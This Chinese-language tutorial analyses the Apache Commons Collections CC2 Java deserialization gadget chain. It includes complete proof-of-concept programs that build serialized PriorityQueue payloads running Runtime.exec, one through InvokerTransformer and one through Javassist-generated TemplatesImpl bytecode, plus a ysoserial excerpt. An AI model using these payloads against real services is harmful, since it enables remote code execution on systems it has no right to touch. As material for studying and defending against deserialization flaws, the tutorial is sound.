详解CC2链
字数 1970 2025-08-24 07:48:33

Java反序列化漏洞分析:CC2链详解

前言

CC2链是Apache Commons Collections反序列化漏洞利用链中的一条重要链,本文将从基础概念到具体实现,详细分析CC2链的原理和利用方式。

基础知识

CC链简介

CC链(Commons Collections链)是基于Apache Commons Collections库的反序列化漏洞利用链。P神的Java安全漫谈中建议的学习路线是先学CC6,因为CC6提供了CC1在高版本下的解决方案。但为了加强分析能力,我们可以按顺序学习。

CC2链调用链

CC2链的基本调用链如下:

ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

核心类分析

PriorityQueue类

PriorityQueue是基于优先级堆的无界优先级队列,其中的元素按照自然顺序或Comparator进行排序。

readObject()方法分析

PriorityQueue的反序列化过程从readObject()开始:

  1. 调用默认的读入方法
  2. 调用readInt()读取数组长度
  3. 检查读入流数组长度是否超过预期
  4. 创建Object类数组
  5. 将反序列化数据流中的元素存入queue数组
  6. 调用heapify()进行重新排列

heapify()方法

heapify()方法实现了堆排序:

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

siftDown()方法

siftDown()是堆排序的核心算法,将堆转换为最小堆:

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

TransformingComparator类

TransformingComparator是CC2链的关键类,位于org.apache.commons.collections4.comparators包中。

compare()方法

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

这里调用了this.transformer的transform()方法,而this.transformer是我们可以控制的变量。

初版POC分析

基本结构

Transformer[] transformer = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new String[]{"calc.exe"}),
};
Transformer chaintransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chaintransformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.offer(1);
queue.offer(2);

问题分析

在添加第二个元素时(queue.offer(2)),会从offer()函数进入siftUp()函数,直接调用comparator.compare()方法,导致命令在序列化前就执行了。

改进版POC

解决方案

通过反射在序列化后设置comparator:

PriorityQueue queue = new PriorityQueue(1); // 不传入comparator
queue.add(1);
queue.add(2);

// 反射设置comparator
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);

完整POC

package org.example;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformer = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new String[]{"calc.exe"}),
        };
        Transformer chaintransformer = new ChainedTransformer(transformer);
        TransformingComparator comparator = new TransformingComparator(chaintransformer);
        
        PriorityQueue queue = new PriorityQueue(1);
        queue.add(1);
        queue.add(2);
        
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, comparator);
        
        // 序列化和反序列化
        try {
            FileOutputStream filepath = new FileOutputStream("./CC2.ser");
            ObjectOutputStream object = new ObjectOutputStream(filepath);
            object.writeObject(queue);
            
            FileInputStream filepath2 = new FileInputStream("./CC2.ser");
            ObjectInputStream input = new ObjectInputStream(filepath2);
            input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

调用方式2:TemplatesImpl利用链

调用链差异

TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Java字节码加载机制

字节码定义

Java字节码(ByteCode)是Java虚拟机执行的指令,存储在.class文件中。

URLClassLoader

URLClassLoader是AppClassLoader的父类,可以从URL指定的位置加载类:

URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("Hello");
c.newInstance();

ClassLoader#defineClass

ClassLoader加载类的三个关键方法:

  1. loadClass(): 从已加载类缓存、父加载器等位置寻找类
  2. findClass(): 根据基础URL指定的方法加载类的字节码
  3. defineClass(): 将字节流转换为Java类

TemplatesImpl类分析

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类可以动态加载字节码。

关键调用链

TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()

关键字段

  1. _bytecodes: 字节码数组
  2. _name: 任意非null字符串
  3. _tfactory: TransformerFactoryImpl对象

字节码要求

加载的字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。

Javassist库使用

Javassist是一个操作Java字节码的库。

关键类

  1. ClassPool: CtClass对象的容器
  2. CtClass: 表示class文件

示例代码

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.classloader.TemplatesImplEvil.class.getName());
byte[] code = clazz.toBytecode();

TemplatesImpl链POC分析

ysoserial实现

public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
    
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
    queue.add(1);
    queue.add(1);
    
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
    
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;
    return queue;
}

关键点

  1. 初始设置toString方法,后通过反射改为newTransformer
  2. 修改queue数组的第一个元素为templates对象
  3. templates对象包含恶意字节码

完整TemplatesImpl链POC

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class POC2 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
        InvokerTransformer invokerTransformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator = new TransformingComparator(invokerTransformer);
        
        PriorityQueue queue = new PriorityQueue(1);
        queue.add(1);
        queue.add(2);
        
        // 反射设置comparator和方法名
        try {
            Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
            field.setAccessible(true);
            field.set(queue, comparator);
            
            Field field1 = InvokerTransformer.class.getDeclaredField("iMethodName");
            field1.setAccessible(true);
            field1.set(invokerTransformer, "newTransformer");
        } catch (Exception e) {
            e.printStackTrace();
        }
        
        // 创建TemplatesImpl对象
        TemplatesImpl templates = new TemplatesImpl();
        
        // 创建恶意字节码
        try {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass poc = pool.makeClass("Poc");
            
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
            poc.makeClassInitializer().insertBefore(cmd);
            
            String RandName = "POC" + System.nanoTime();
            poc.setName(RandName);
            poc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            
            byte[] classbyte = poc.toBytecode();
            byte[][] trueclassbyte = new byte[][]{classbyte};
            
            // 反射设置TemplatesImpl字段
            Field field2 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")
                .getDeclaredField("_bytecodes");
            field2.setAccessible(true);
            field2.set(templates, trueclassbyte);
            
            Field field3 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")
                .getDeclaredField("_name");
            field3.setAccessible(true);
            field3.set(templates, "Ho1L0w-By");
            
            Field field4 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")
                .getDeclaredField("_tfactory");
            field4.setAccessible(true);
            field4.set(templates, new TransformerFactoryImpl());
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        
        // 修改queue数组
        Field field5 = PriorityQueue.class.getDeclaredField("queue");
        Object[] queueArray = new Object[]{templates, 1};
        field5.setAccessible(true);
        field5.set(queue, queueArray);
        
        // 序列化和反序列化
        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC2.ser"));
            outputStream.writeObject(queue);
            outputStream.close();
            
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC2.ser"));
            inputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

总结

CC2链展示了Java反序列化漏洞的两种利用方式:

  1. 通过PriorityQueue和TransformingComparator直接调用Runtime.exec()
  2. 结合TemplatesImpl动态加载字节码实现更灵活的利用

关键点在于:

  • 理解PriorityQueue的反序列化过程
  • 掌握TransformingComparator的比较机制
  • 熟悉Java动态加载字节码的原理
  • 能够构造符合要求的恶意字节码

这种漏洞利用方式展示了Java这种强类型语言通过动态特性实现的高度灵活性,同时也带来了安全隐患。

Java反序列化漏洞分析:CC2链详解 前言 CC2链是Apache Commons Collections反序列化漏洞利用链中的一条重要链,本文将从基础概念到具体实现,详细分析CC2链的原理和利用方式。 基础知识 CC链简介 CC链(Commons Collections链)是基于Apache Commons Collections库的反序列化漏洞利用链。P神的Java安全漫谈中建议的学习路线是先学CC6,因为CC6提供了CC1在高版本下的解决方案。但为了加强分析能力,我们可以按顺序学习。 CC2链调用链 CC2链的基本调用链如下: 核心类分析 PriorityQueue类 PriorityQueue是基于优先级堆的无界优先级队列,其中的元素按照自然顺序或Comparator进行排序。 readObject()方法分析 PriorityQueue的反序列化过程从readObject()开始: 调用默认的读入方法 调用readInt()读取数组长度 检查读入流数组长度是否超过预期 创建Object类数组 将反序列化数据流中的元素存入queue数组 调用heapify()进行重新排列 heapify()方法 heapify()方法实现了堆排序: siftDown()方法 siftDown()是堆排序的核心算法,将堆转换为最小堆: TransformingComparator类 TransformingComparator是CC2链的关键类,位于 org.apache.commons.collections4.comparators 包中。 compare()方法 这里调用了 this.transformer 的transform()方法,而 this.transformer 是我们可以控制的变量。 初版POC分析 基本结构 问题分析 在添加第二个元素时( queue.offer(2) ),会从offer()函数进入siftUp()函数,直接调用comparator.compare()方法,导致命令在序列化前就执行了。 改进版POC 解决方案 通过反射在序列化后设置comparator: 完整POC 调用方式2:TemplatesImpl利用链 调用链差异 Java字节码加载机制 字节码定义 Java字节码(ByteCode)是Java虚拟机执行的指令,存储在.class文件中。 URLClassLoader URLClassLoader是AppClassLoader的父类,可以从URL指定的位置加载类: ClassLoader#defineClass ClassLoader加载类的三个关键方法: loadClass() : 从已加载类缓存、父加载器等位置寻找类 findClass() : 根据基础URL指定的方法加载类的字节码 defineClass() : 将字节流转换为Java类 TemplatesImpl类分析 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类可以动态加载字节码。 关键调用链 关键字段 _bytecodes : 字节码数组 _name : 任意非null字符串 _tfactory : TransformerFactoryImpl对象 字节码要求 加载的字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。 Javassist库使用 Javassist是一个操作Java字节码的库。 关键类 ClassPool : CtClass对象的容器 CtClass : 表示class文件 示例代码 TemplatesImpl链POC分析 ysoserial实现 关键点 初始设置 toString 方法,后通过反射改为 newTransformer 修改queue数组的第一个元素为templates对象 templates对象包含恶意字节码 完整TemplatesImpl链POC 总结 CC2链展示了Java反序列化漏洞的两种利用方式: 通过PriorityQueue和TransformingComparator直接调用Runtime.exec() 结合TemplatesImpl动态加载字节码实现更灵活的利用 关键点在于: 理解PriorityQueue的反序列化过程 掌握TransformingComparator的比较机制 熟悉Java动态加载字节码的原理 能够构造符合要求的恶意字节码 这种漏洞利用方式展示了Java这种强类型语言通过动态特性实现的高度灵活性,同时也带来了安全隐患。